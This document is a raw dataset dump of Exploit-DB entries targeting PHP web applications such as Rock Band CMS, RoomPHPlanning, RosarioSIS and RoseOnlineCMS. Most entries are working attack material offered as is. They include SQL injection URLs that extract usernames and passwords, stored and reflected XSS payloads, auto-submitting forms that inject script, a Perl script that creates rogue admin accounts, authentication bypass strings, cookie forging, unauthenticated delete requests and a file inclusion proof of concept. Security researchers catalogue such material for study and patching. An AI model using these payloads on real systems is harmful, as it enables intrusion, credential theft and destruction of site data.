deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9553
Description: Rock Band CMS 0.10 - 'news.php' Multiple SQL Injections (1)
Type: webapps
Platform: php
Date: 2009-08-31
Author: Affix

Exploit:
#################################################################
#	 _______ _________ _       				#
#       (  ____ )\__   __/( (    /|				#
#	| (    )|   ) (   |  \  ( |				#
#	| (____)|   | |   |   \ | |				#
#	|     __)   | |   | (\ \) |				#
#	| (\ (      | |   | | \   |				#
#	| ) \ \__   | |   | )  \  |				#
#	|/   \__/   )_(   |/    )_)				#
#       	http://root-the.net 				#
#################################################################
#[+] BandCMS v0.10 news.php Milti SQL Injection Vulnerabilities	#
#[+] Vendor : http://rockband.sourceforge.net/			#
#[+] Exploit : Affix <root@root-the.net>			#
#[+] Dork : "Powered by Rock Band CMS 0.10"			#
#[+] Greetz : Mad-Hatter, Atomiku, RTN, Terogen, SCD, Boxhead,  #
#	      	  str0ke, tekto, raT, uNkn0wn.ws, ryan1918.com	#
#################################################################
#	BandCMS v0.10 Has an SQL Injection in news.php 		#
#								#
#	Code :							#
#	 if(isset($_GET['year'])){				#
#		$year = $_GET['year'];				#
#		$smarty->assign('news', $db->getNewsYear($year));
#	}							#
#								#
#								#
#	Exploit :						#
#	http://site.com/news.php?year=-2004+UNION+SELECT+1,2,3,4--
#								#
#								#
#	Code :							#
#	    $id = $_GET['id'];					#
#	    $newsItem = $db->getNewsItem($id);			#
#	    $smarty->assign('news', $newsItem);			#
#								#
#	Exploit :						#
#	http://site.com/news.php?id=-1+UNION+SELECT+1,2,3,4--	#
#								#
#								#
#	Patch :							#
#	Since Im a Nice guy here is a change both variables as	#
#	follows							#
#								#
#  $year = addslashes(mysql_real_escape_string($_GET['year']));	#
#								#
#	$year = addslashes(mysql_real_escape_string($_GET['id']));
#								#
#################################################################

# milw0rm.com [2009-08-31]
Exploit-DB #34455
Description: Rock Band CMS 0.10 - 'news.php' Multiple SQL Injections (2)
Type: webapps
Platform: php
Date: 2010-08-12
Author: Affix

Exploit:
source: https://www.securityfocus.com/bid/42424/info

Rock Band CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/news.php?year=-2004+UNION+SELECT+1,2,3,4--
http://www.example.com/news.php?id=-1+UNION+SELECT+1,2,3,4--
Exploit-DB #52018
Description: Rocket LMS 1.9 - Persistent Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-05-19
Author: Sergio Medeiros

Exploit:
# Title: Rocket LMS 1.9 - Persistent Cross Site Scripting (XSS)
# Date: 04/16/2024
# Exploit Author: Sergio Medeiros
# Vendor Homepage: https://codecanyon.net/item/rocket-lms-learning-management-academy-script/33120735
# Software Link: https://lms.rocket-soft.org
# Version: 1.9
# Tested on Firefox and Chrome Browsers
# Patched Version: Patch Pending
# Category: Web Application
# CVE: CVE-2024-34241
# Exploit link: https://grumpz.net/cve-2024-34241-a-step-by-step-discovery-guide
# PoC:

In order to exploit this systemic stored XSS vulnerability, identify theareas in the web application which has a WYSIWIG editor used, for example, the create/edit course description section. 
Input random text in the description section, and create the course while intercepting the request with BurpSuite or your preferred proxy of choice.

In the *description* parameter or the associated parameter that is handling the user input related to the WYSIWIG editor, input the following payload and then issue the request:
<details/open/ontoggle=prompt(origin)>
Exploit-DB #11731
Description: RogioBiz PHP Fle Manager 1.2 - Admin Bypass
Type: webapps
Platform: php
Date: 2010-03-14
Author: ITSecTeam

Exploit:
#########################bypass admin exploit#################
Author: ItSecTeam

download from:http://www.scriptingblog.com/download/RogioBiz_PHP_file_manager_V1.2.zip

script:RogioBiz_PHP_file_manager_V1.2

dork:inurl:"/rbfminc/"

-----------------------------------------
use:run this xpl and after runing eror Incorect username or password! now click to login (boom! go to file manager.)

</html>
</style></head>
<h2>coded by ahmadbady</h2>
<body><br /><br /><br /><br />
<div class="login">
<div style="color:red" align="center"></div>
<form id="login_form" name="login_form" method="post" action="/path/file_manager.php">
<table border="0" align="center" cellpadding="4" cellspacing="0" bgcolor="#FFFFFF" style="border:1px solid #999999; padding:10px">
<tr>
<td align="right">Username:</td>
<td><input type="text" name="username" id="username" value="'"
</tr>
<tr>
<td align="right">Password:</td>
<td><input type="password" name="password" id="password" value="'"
</td>
</tr>
<tr>
<td colspan="2" align="right"><input type="submit" name="button" id="button" value="Login »" /></td>
</tr>
</table>
<input name="login" type="hidden" value="login" />
</form>
</div>
</body>
</html>

########################

discovered by ahmadbady

########################
Exploit-DB #34840
Description: Ronny CMS 1.1 r935 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-13
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/44066/info

Ronny CMS is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Ronny CMS 1.1 r935 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/system/admin.php" method="post" name="main" enctype="multipart/form-data" >

<input type="hidden" name="bside" value="0" />
<input type="hidden" name="bshow_template" value="standard" />
<input type="hidden" name="bcmodule[]" value="-1" />
<input type="hidden" name="bcmodule[]" value="0" />
<input type="hidden" name="bcmodule[]" value="2" />
<input type="hidden" name="bcmodule[]" value="3" />
<input type="hidden" name="bvisible" value="0" />
<input type="hidden" name="bweight" value="" />
<input type="hidden" name="btitle" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="bcontent" value="" />
<input type="hidden" name="bctype" value="H" />
<input type="hidden" name="fct" value="blocksadmin" />
<input type="hidden" name="op" value="save" />

</form>
<script>
document.main.submit();
</script>





<form action="http://www.example.com/menu/admin/index.php?op=saveItem" method="post" name="main" >

<input type="hidden" name="menuid" value="1" />
<input type="hidden" name="id" value="2" />
<input type="hidden" name="pid" value="0" />
<input type="hidden" name="name" value='Pages<script>alert(document.cookie)</script>' />
<input type="hidden" name="url" value="/pages/" />
<input type="hidden" name="order" value="20" />

</form>
<script>
document.main.submit();
</script>





<form action="http://www.example.com/pages/admin/index.php?op=editPage1" method="post" enctype="multipart/form-data" >

<input type="hidden" name="pid" value="0" />
<input type="hidden" name="pname" value="Page name" />
<input type="hidden" name="purl" value="main" />
<input type="hidden" name="ptemplate" value="index" />
<input type="hidden" name="porder" value="0" />
<input type="hidden" name="ptext" value="Ronny CMS page text" />
<input type="hidden" name="pfile"; filename="" />
<input type="hidden" name="pdesc" value='page description"><script>alert(document.cookie)</script>' />
<input type="hidden" name="pkeywords" value="page metas" />
<input type="hidden" name="ptags" value="" />
<input type="hidden" name="update_pid" value="1" />
<input type="submit" id="btn" name="submit" value="SAVE" />

</form>
<script>
document.getElementById('btn').click();
</script>
Exploit-DB #35782
Description: Room Juice 0.3.3 - 'display.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-19
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47914/info

Room Juice is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Room Juice 0.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/roomjuice-0.3.3/display.php?filename=%3Cscript%3Ealert%280%29%3C/script%3E
Exploit-DB #5670
Description: RoomPHPlanning 1.5 - 'idresa' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-24
Author: His0k4

Exploit:
###########################################
{+} RoomPHPlanning v1.5 remote SQL injection exploit
{+} Script download :http://www.beaussier.com/roomphplanning/telecharge.php
{+} Founded by : His0k4 [ ALGERIAN HaCkEr ]
{+} Greetz : All friends & muslims HaCkeRs...
###########################################
{+} Exploit :
    http://localhost/[script_path]/resaopen.php?idresa={SQL}
{+} Example :
    http://localhost/[script_path]/resaopen.php?idresa=-1 UNION SELECT 1,2,3,4,5,6,concat(LoginUs,0x3a,PwdUs),8,9 FROM rp_user where IdUs=1--
############################################

# milw0rm.com [2008-05-24]
Exploit-DB #5674
Description: RoomPHPlanning 1.5 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-05-26
Author: Stack

Exploit:
###########################################
{+} RoomPHPlanning v1.5 remote Arbitrary Add Admin Users Vulnerability 
{+} Script download :http://www.beaussier.com/roomphplanning/telecharge.php
{+} Founded by : Stack
{+} Greetz : All friends & muslims HaCkeRs...
###########################################
DESCRIPTION:
RoomPHPlanning is vulnerable to add user whit go to link [see down]
in colon Nom write any name and in colon login whrite your adress email after password
and the colon privilÃ©ges is adminstrator after  click [enregistrer ]
Vulnerability:
  go to this link for add admin user
 1 : http://localhost/path/admin/userform.php
  go this link for login in
 2 : http://localhost/path/login.php
  after login in go to admin link
 3 : http://localhost/path/admin/
  for see all administrator & edit it
 4 : http://localhost/path/admin/?user=1
 after execute the command for add user or for login in the page is not changed
 it's necessary go to second link  1 2 3 4

EXPLOIT HTML :
-------------------------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>RoomPHPlanning add Admin user</TITLE>
<LINK REL="stylesheet" TYPE="text/css" HREF="style.css">
</HEAD>
<BODY>
<form action="http://site.com/path/admin/userform.php" method="POST">
<FORM ACTION="#" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="save" VALUE="1">
<TABLE WIDTH=98% BORDER=0 CELLPADDING=4 CELLSPACING=0>
<TR VALIGN=TOP>
<TD WIDTH=50%><P>Nom</P></TD>
<TD WIDTH=50%><INPUT TYPE=TEXT NAME='name' SIZE=40 VALUE=""></TD>
<TR VALIGN=TOP>
<TD WIDTH=50%><P>Login email</P></TD>
<TD WIDTH=50%><INPUT TYPE=TEXT NAME='login' SIZE=40 VALUE=""></TD>
<TR VALIGN=TOP>
<TD WIDTH=50%><P>Mot de passe</P></TD>
<TD WIDTH=50%><INPUT TYPE=TEXT NAME='pwd' SIZE=20></TD></TR>
</TR><TR VALIGN=TOP>
<TD WIDTH=50%><P>PrivilÃ¨ges</P></TD><TD WIDTH=50%><SELECT NAME="rank">
<OPTION VALUE="1">Administrateur</OPTION>
<OPTION VALUE="2">Utilisateur de base</OPTION>
<OPTION VALUE="3">Utilisateur normal</OPTION>
<OPTION VALUE="4">Anonyme</OPTION>
<OPTION VALUE="5">Super utilisateur</OPTION>
<OPTION VALUE="6">Gestionnaire</OPTION>
</SELECT>
 </TD>
</TR><TR><TD COLSPAN=2 WIDTH=100% VALIGN=TOP><CENTER><BR>
<INPUT TYPE="SUBMIT" VALUE="Enregistrer">
<INPUT TYPE="BUTTON" VALUE="Annuler"  ONCLICK="javascript:window.close();">
</TD></TR></TABLE></FORM></BODY>
</HTML>
-------------------------------------------------------------------------------------
 
GREETZ: http://real-hack.com
----------------------------------------------------------------------------- 

# milw0rm.com [2008-05-26]
Exploit-DB #5675
Description: RoomPHPlanning 1.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-26
Author: Virangar Security

Exploit:
  #######################################################################################
  #                                                                                     #
  #           ...::::RoomPHPlanning 1.5 SQL Injection Vulnerabilities ::::...           #          
  #######################################################################################

Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-----

-------vuln codes in:-----------
resaopen.php:
line 7:@$idresa = $_GET['idresa'];
..
..
ine 102:$qry = "SELECT IdRm, R.IdUs, TitleRs,".
   "DateRs, BegRs, EndRs, DescRs,".
   "BillRs, NameUs ".
   "FROM ".RESA." R, ".USER." U ".
   "WHERE IdRs=".$idresa." ".
   "AND R.IdUs=U.IdUs";
   
*********
weekview.php:
@$idroom =  $_GET['idroom'];
....
line 47:$qry =  "SELECT NameRm, BkcolRm, FtcolRm ".
  "FROM ".ROOM." WHERE IdRm=".$idroom ;
---
exploits:
http://site.com/resaopen.php?idresa=-99999/**/union/**/select/**/1,2,3,4,5,6,concat(LoginUs,0x3a,char(58),PwdUs),8,9/**/from/**/rp_user/**/where/**/IdRk=1/*
http://site.com/weekview.php?idroom=-999/**/union/**/select/**/concat(LoginUs,0x3a,char(58),PwdUs),2,3/**/from/**/rp_user/**/where/**/IdRk=1/*
---
young iranian h4ck3rz

# milw0rm.com [2008-05-26]
Exploit-DB #8198
Description: RoomPHPlanning 1.6 - 'userform.php' Create Admin User
Type: webapps
Platform: php
Date: 2009-03-10
Author: Jonathan Salwan

Exploit:
#!/usr/bin/perl -w

use LWP::UserAgent;
use HTML::Form;

	print "_________________________________________________________\n";
	print "[+]=>RoomPHPlanning\n";
	print "[+]=>v1.x\n";
	print "[+]=>Vul: Remote Create user with all permissions (admin)\n";
	print "[+]=>Author: Jonathan Salwan \n";
	print "[+]=>Web: http://www.shell-storm.org\n";
	print "[+]=>Mail: submit [AT] shell-storm.org\n";
	print "_________________________________________________________\n\n";
    
sub usage {
	print "[+]=>usage: <file.pl> <host_&_patch> <login> <password>\n";
	print "[+]=>Ex: flood.pl http://localhost/patch/ admin2 toto\n";exit;
}

if ($#ARGV < 2) {usage();}

	$patch 	= "/admin/userform.php";
	$host 	= $ARGV[0].$patch;
	$login 	= $ARGV[1];
	$pwd 	= $ARGV[2];
	$name 	= "Administrateur";
	$rank 	= "1";

		print "[+]=>Sending...\n";


    			my $u = LWP::UserAgent->new(agent => 'Mozilla/4.73 [en] (X11; I; Linux 2.2.16 i686; Nav)' );
			my $req = HTTP::Request->new( GET => "${host}" );
			my $res = $u->request($req);
			my $send = HTML::Form->parse( $res->content, $host );

    	$send->find_input('name')->value($name);
    	$send->find_input('login')->value($login);
    	$send->find_input('pwd')->value($pwd);		
	$send->find_input('rank')->value($rank);    	
	
	$u->request( $send->click );

		print "[+]=>Done!\n";
		print "[+]=>Now, user $ARGV[1] is admin\n";

# milw0rm.com [2009-03-10]
Exploit-DB #8797
Description: roomphplanning 1.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-26
Author: ThE g0bL!N

Exploit:
                                    o       o       o  O     O
 ooooooo 0     oooo          OOOo  o       o       o  O O   O
    0    0     0             o  o  o       o       o  O  O  O
    0    0000  oooo  ooooo   o  o  oooooo  o       o  O   O O
    0    0  0  0     0   0   o  o  O     O o       o  O    OO
    0    0  0  oooo  ooooo   oooo  OOOOOO  oooooo {O} O     O
                         0
                         0 
                         0
                    0    0
                    0oooo0
################################################################################################
[+] RoomPHPlanning v1.6 Multiple Remote Exploit Vulnerabilities
[+] Discovered By : ThE g0bL!N      
[+] Greetz : All my freind      
[+] Note: Tested On localhost :)
[+] Download:http://www.beaussier.com/roomphplanning/telecharge.php
################################################################################################
Auth Bypass
-----------
File: Login.php
-----
 $qry =  "SELECT IdUs, NameUs ".
   "FROM ".USER." ". => Vuln
   "WHERE LoginUs = '".$_GET['loginus']." ' ".
   "AND PwdUs = '".$pwdus." ' "; => Vuln2
Exploit:
--------
username:real_user' or '1=1
password:ThE g0bL!N
###############################################################################################
Cookies Insecure
------------
File:Login.php
----
setcookie($cookie,$idus,time()+3600,"/");=> $cookiename=room_phplanning $idus= user_id
Exploit:
-------
javascript:document.cookie="room_phplanning=[admin_id];path=/";
Then go to Url: /admin/
###############################################################################################
SQL Injection
-------------
After login
admin/userform.php?id=-1+union+select+1,concat(LoginUs,0x3a,PwdUs),3+FROM+rp_user+where%20IdUs=1--
###############################################################################################
Delete Rooms (out Of cookies)
------------
http://localhost/rp_1.6/rp_1.6/admin/delitem.php?room=$room id
Example:
-------
http://localhost/rp_1.6/rp_1.6/admin/delitem.php?room=1
Delete Users(out Of cookies)
------------:
http://localhost/rp_1.6/rp_1.6/admin/delitem.php?user=user id
Example:
-------
http://localhost/rp_1.6/rp_1.6/admin/delitem.php?user=5
###############################################################################################
Remote Change Password Bypassing:
--------------------------------
Go to url:
----------
http://victim.co.il/changepwd.php
Old Password :admin_name' or '1=1
New Password New pass
Write twice: Retype Your New pass
Then Enter With New pass :)
###############################################################################################
Greeting ;His0k4 - Dr-HTmL - M0nSt3r-Dz Dz_V!RuS( win rak :( ) ViRuS_HaCkErS_Dz ( Djelloul Al meshakaf ) (:
###############################################################################################

# milw0rm.com [2009-05-26]
Exploit-DB #51622
Description: RosarioSIS 10.8.4 - CSV Injection
Type: webapps
Platform: php
Date: 2023-07-28
Author: Ranjeet Jaiswal

Exploit:
# Exploit Title: RosarioSIS 10.8.4 - CSV Injection
# Google Dork:NA
# Exploit Author: Ranjeet Jaiswal#
# Vendor Homepage: https://www.rosariosis.org/
# Software Link: https://gitlab.com/francoisjacquet/rosariosis/-/archive/v10.8.4/rosariosis-v10.8.4.zip
# Affected Version: 10.8.4
# Category: WebApps
# Tested on: Windows 10
# 
#
# 1. Vendor Description:
#
# RosarioSIS has been designed to address the most important needs of administrators, teachers, support staff, parents, students, and clerical   personnel. However, it also adds many components not typically found in Student Information Systems. 
#
# 2. Technical Description:
#
# A CSV Injection (also known as Formula Injection) vulnerability in the RosarioSIS web application with version 10.8.4 allows malicious users to execute malicious payload in csv/xls and redirect authorized user to malicious website.

#
# 3. Proof Of Concept:

 3.1. Proof of Concept for CSV injection.

# #Step to reproduce.
Step1:Login in to RosarioSIS 10.8.4
Step2:Go to Periods page
Step3:Add CSV injection redirection payload such as "=HYPERLINK("https://www.google.com","imp")"in the Title field
Step4:click on Save button to save data.
Step5:Go to export tab and export the data
Step6:When user open download Periods.xls file.You will see redirection hyperlink.
Step7:When user click on link ,User will be redirected to Attacker or
malicious website.



# 4. Solution:
 Upgrade to latest release of RosarioSIS.
Exploit-DB #52450
Description: RosarioSIS 6.7.2 - Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: RosarioSIS 6.7.2 - Cross Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://gitlab.com/francoisjacquet/rosariosis
# Software Link: https://gitlab.com/francoisjacquet/rosariosis
# Version: 6.7.2
# Tested on: Windows
# CVE : CVE-2020-15716


Proof Of Concept
http://rosariosis/Modules.php?modname=Users/Preferences.php&tab=%22%20onmouseover%3Dalert%281%29%20x%3D%22

**Conditions**:  
1. User must be authenticated (as shown by the session checks in `Warehous.php`)
2. `modfunc` parameter must **not** be present in the request


Steps to Reproduce:
1. Log in as an admin user.
2. Send the request.
3. Observe the result
Exploit-DB #52449
Description: RosarioSIS 6.7.2 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: RosarioSIS 6.7.2 - Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://gitlab.com/francoisjacquet/rosariosis
# Software Link: https://gitlab.com/francoisjacquet/rosariosis
# Version: 6.7.2
# Tested on: Windows
# CVE : CVE-2020-15718

Proof Of Concept
http://rosariosis/Modules.php?modname=Scheduling/PrintSchedules.php&search_modfunc=list&include_inactive=" onmouseover="alert(1)"


Steps to Reproduce
Log in as an admin user.
Send the request.
Observe the result.
Exploit-DB #52169
Description: RosarioSIS 7.6 - SQL Injection
Type: webapps
Platform: php
Date: 2025-04-11
Author: CodeSecLab

Exploit:
# Exploit Title: RosarioSIS 7.6 - SQL Injection
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://gitlab.com/francoisjacquet/rosariosis
# Software Link: https://gitlab.com/francoisjacquet/rosariosis
# Version: 7.6
# Tested on: Ubuntu Windows
# CVE : CVE-2021-44567

PoC:

POST /ProgramFunctions/PortalPollsNotes.fnc.php HTTP/1.1
X-Requested-With: XMLHttpRequest

constrain and some flow:
isset( $_POST['votes'] ) && is_array( $_POST['votes'] ) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' && foreach ( (array) $_POST['votes'] as $poll_id => $votes_array ) && if ( ! empty( $votes_array ) ) && PortalPollsVote( $poll_id, $votes_array ) 

votes['; CREATE TABLE aaa(t text) --]=1
Exploit-DB #10793
Description: RoseOnlineCMS 3 B1 - 'admin' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-12-30
Author: cr4wl3r

Exploit:
                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   | RoseOnlineCMS <= 3 B1 (admin) Local File Inclusion |
   |      (works only with magic_quotes_gpc = off)      |
   ------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Download: http://sourceforge.net/projects/rosecms/files/
[!] Date: 30.12.2009
[!] Remote: yes

[!] Code :

<?PHP 
if (isset($_GET['write'])) {
	$argv = explode('-',$_GET['write']);
	settype($argv,'array'); 
	$_GET['admin'] = @$argv[0];
	$_GET['url'] = @$argv[1];
	$_GET['do'] = @$argv[2];
	$_GET['key'] = @$argv[3];
}
$admin = !isset($_GET['admin']) ? index : $_GET['admin'] ;

   if (is_file("modules/admin/".$admin.".php")) {
   		include("modules/admin/".$admin.".php");
	
   } else {	
		echo('Administrator page not found.
					<br><br> <a href=index.php>Click here to go back home</a>'); 
   }

ob_end_flush();
?>

[!] PoC:

    [RoseOnlineCMS_path]/modules/admincp.php?admin=[LFI%00]